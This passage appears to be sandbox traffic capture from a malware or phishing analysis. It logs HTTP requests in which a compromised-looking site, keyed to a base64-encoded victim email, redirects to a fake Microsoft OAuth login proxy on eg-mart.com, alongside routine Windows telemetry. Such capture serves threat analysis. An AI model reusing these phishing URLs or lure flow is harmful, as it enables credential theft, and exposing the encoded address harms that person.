t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAATKroDVehIwhR1af/NJXyEM/gWDmFHEyD/jvuxhb%2BEp%2BvftiDzLladduscq70ZpGhopdhEZ8qqmoHfIbPOSm0ugw3lhj3wJ9chhQzLUzuVkc/Fsc2Fy3cEeW6nFt1DjKEUSbAuArYcH8K2VpTtXi2iJT6WF5QLWupR1oI4/nrOgYjw%2B9EN2UiNbSRpRi%2BlbNvKOnMP/AM%2B7wbBEXXZQLov3CC4Z6plGqpD7kQ/JHTc5EilGf3jFWO9ofEF2EPhUhqWfv0vrT1fCOfdh9h%2BnJMHjCmEDgPxB8uuh7BhVOFIOqYB5jYNhlUhOn5cy9jVnPEnvlpoOXPtxV84wBnGKRN6cQZgAAEEMeUnIlB2TE3VtumdoQNiOwAcsxOc%2BmcKVnjr6oaUQi0jH9bs96gh3Ka0v32ifi%2BNPmwjbda6ag01cZBDKZcWXTkBsX9VkC%2ByHXGuLsydg8DQiqhXqnI3G349OWBC8kooxqSoutkMfdgJbIZGM7QEIdh6RdGdoCVvuYRFjQVVNA6EI9M6cjCV5W9Arls2oJA49QqtLh/j9b7n1O5EUr6gK5hMXcUlTcnC9D6sfqv/Kj7eBlKPB/cEbKmMyTvvJVmY3MiIBxQlJj8GGGs3WJT8dn2kTYJTLfLnvRmt4oGmbkC5ogTVfJDZZ%2BgAdHqYX4epC1VukkCXb6ENlwkragBhi7rDjcH8Knl8HS9HKLtstNq1VIDYAlFfJY82RQErcODUG2MwNCWBMjypA8Q/Sj25XHwPQeL5sjxdrt/bC%2BQKS1ue%2B8gZerkZd9w0t3UIOrbfPPisaYeCmTYIyBSPA1v3wE7Cw%2BYHFmhdhTZtPhs6ViJjBqlqqFz33iVi%2Bzc8LWEOTK0S405EH6MOlZFQwjQ9IKNd08VJaEnnyt2w8aa4Czv1KwFOLfxavvyixi9jMhzQaCosn3Q6itq5N7KfqOIpX/3toB%26p%3DX-BM-CBT: 1731598759User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 9ADB7F4B53A04B02BDC05661ECE4D0E4X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rszwPrLvACtc23F&MD=zB2GzbMC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1Host: stoneinstallations.net.auConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://stoneinstallations.net.au/.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29tAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=6u6m3cmrgdfibn4ppg36gukj32; preload=1; CR=7; z1=zzz; brw=wedrvfalse
Source: global traffic	HTTP traffic detected: GET /?c6tmIieee3BIGZZ4YWRhcnNoLm1hbGhvdHJhQGphdG8uY29thw7y8TM HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://stoneinstallations.net.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: butter1.mnrov.eg-mart.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://stoneinstallations.net.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://stoneinstallations.net.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://butter.mnrov.eg-mart.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://butter.mnrov.eg-mart.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: butter2.mnrov.eg-mart.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://butter.mnrov.eg-mart.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://butter.mnrov.eg-mart.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: butter2.mnrov.eg-mart.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=cf4cea7dd6f64493aefbc2cfc9d84ae8; MSPRequ=id=N&lt=1731598780&co=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
